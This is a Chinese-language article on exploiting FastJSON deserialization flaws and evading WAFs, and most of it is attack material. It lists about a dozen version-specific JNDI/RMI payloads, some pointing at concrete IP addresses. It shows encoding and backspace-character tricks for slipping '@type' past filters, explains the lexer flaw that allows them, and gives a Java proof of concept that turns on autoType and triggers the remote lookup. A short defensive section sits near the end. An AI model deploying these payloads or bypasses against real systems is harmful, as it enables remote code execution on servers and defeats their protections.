某json 绕墙的Tips
字数 896 2025-08-18 11:35:40

FastJSON 反序列化漏洞绕过技巧详解

1. FastJSON 漏洞概述

FastJSON 是阿里巴巴开源的一个高性能 JSON 处理库,但在其历史版本中存在多个反序列化漏洞,攻击者可以通过精心构造的 JSON 数据实现远程代码执行。

2. 已知公开的 FastJSON 漏洞 Payload

以下是不同 FastJSON 版本中已知的利用 Payload:

// 基础 Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

// 1.2.42 版本绕过
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

// 1.2.25-1.2.43 版本绕过
{"@type":"[com.sun.rowset.RowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

// 其他变种
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://127.0.0.1:1099/Exploit"}  // 1.2.60
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://127.0.0.1:1099/Exploit"}  // 1.2.60
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://127.0.0.1:1099/Exploit"}  // 1.2.61
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"rmi://localhost:1099/Exploit"}  // 1.2.62
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"rmi://localhost:1099/Exploit"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"rmi://localhost:1099/Exploit"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"UserTransaction":"rmi://localhost:1099/Exploit"}}

3. WAF 绕过技巧

3.1 基础绕过方法

  1. Unicode 编码绕过

    {"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://111.231.17.208:3888"}
    
  2. 特殊字符插入
    通过 Fuzz 测试发现可以在 @type 后的冒号前后插入特殊字符实现绕过:

    {"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}
    

3.2 绕过原理分析

绕过点位于 FastJSON 的 skipWhitespace 方法(com.alibaba.fastjson.parser.JSONLexerBase 类中),该方法会跳过特定的空白字符:

public void skipWhitespace() {
    for (;;) {
        if (ch == ' ' || ch == '\n' || ch == '\r' || ch == '\t' || ch == '\f' || ch == '\b') {
            next();
        } else {
            break;
        }
    }
}

其中 \b (退格符) 是被该方法识别并跳过的空白字符之一,因此可以插入到关键位置实现绕过。

3.3 Fuzz 测试方法

  1. 构建一个带 UI 界面的 Fuzz 工具,插入各种脏字符进行测试
  2. 使用无回显的命令执行验证方式(如监听 nc)
  3. 观察 FastJSON 是否对外发起 DNS 请求来判断漏洞是否存在

4. 漏洞验证环境搭建

4.1 依赖配置

<dependency>
   <groupId>com.alibaba</groupId>
   <artifactId>fastjson</artifactId>
   <version>1.2.23</version>
</dependency>

4.2 测试代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp {
    public static void main(String[] args){
        String poc = "{\"@type\":\\b\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://10.251.0.111:9999\",\"autoCommit\":true}";
        ParserConfig.global.setAutoTypeSupport(true);
        JSON.parseObject(poc);
    }
}

5. 防御建议

  1. 升级到 FastJSON 最新安全版本
  2. 禁用 autoType 功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 使用白名单机制限制反序列化类
  4. WAF 规则应覆盖各种变形 Payload,包括:
    • Unicode 编码变种
    • 特殊字符插入变种
    • 类名混淆变种

6. 参考资源

  1. FastJson 反序列化学习 - lmxspace
  2. 先知社区相关技术文章
  3. Vulhub 漏洞环境

通过以上方法,可以有效地测试和验证 FastJSON 反序列化漏洞,并了解如何绕过常见的 WAF 防护规则。在实际渗透测试中,应根据目标环境的具体情况选择合适的 Payload 和绕过方法。

FastJSON 反序列化漏洞绕过技巧详解 1. FastJSON 漏洞概述 FastJSON 是阿里巴巴开源的一个高性能 JSON 处理库,但在其历史版本中存在多个反序列化漏洞,攻击者可以通过精心构造的 JSON 数据实现远程代码执行。 2. 已知公开的 FastJSON 漏洞 Payload 以下是不同 FastJSON 版本中已知的利用 Payload: 3. WAF 绕过技巧 3.1 基础绕过方法 Unicode 编码绕过 : 特殊字符插入 : 通过 Fuzz 测试发现可以在 @type 后的冒号前后插入特殊字符实现绕过: 3.2 绕过原理分析 绕过点位于 FastJSON 的 skipWhitespace 方法( com.alibaba.fastjson.parser.JSONLexerBase 类中),该方法会跳过特定的空白字符: 其中 \b (退格符) 是被该方法识别并跳过的空白字符之一,因此可以插入到关键位置实现绕过。 3.3 Fuzz 测试方法 构建一个带 UI 界面的 Fuzz 工具,插入各种脏字符进行测试 使用无回显的命令执行验证方式(如监听 nc) 观察 FastJSON 是否对外发起 DNS 请求来判断漏洞是否存在 4. 漏洞验证环境搭建 4.1 依赖配置 4.2 测试代码 5. 防御建议 升级到 FastJSON 最新安全版本 禁用 autoType 功能: ParserConfig.getGlobalInstance().setAutoTypeSupport(false); 使用白名单机制限制反序列化类 WAF 规则应覆盖各种变形 Payload,包括: Unicode 编码变种 特殊字符插入变种 类名混淆变种 6. 参考资源 FastJson 反序列化学习 - lmxspace 先知社区相关技术文章 Vulhub 漏洞环境 通过以上方法,可以有效地测试和验证 FastJSON 反序列化漏洞,并了解如何绕过常见的 WAF 防护规则。在实际渗透测试中,应根据目标环境的具体情况选择合适的 Payload 和绕过方法。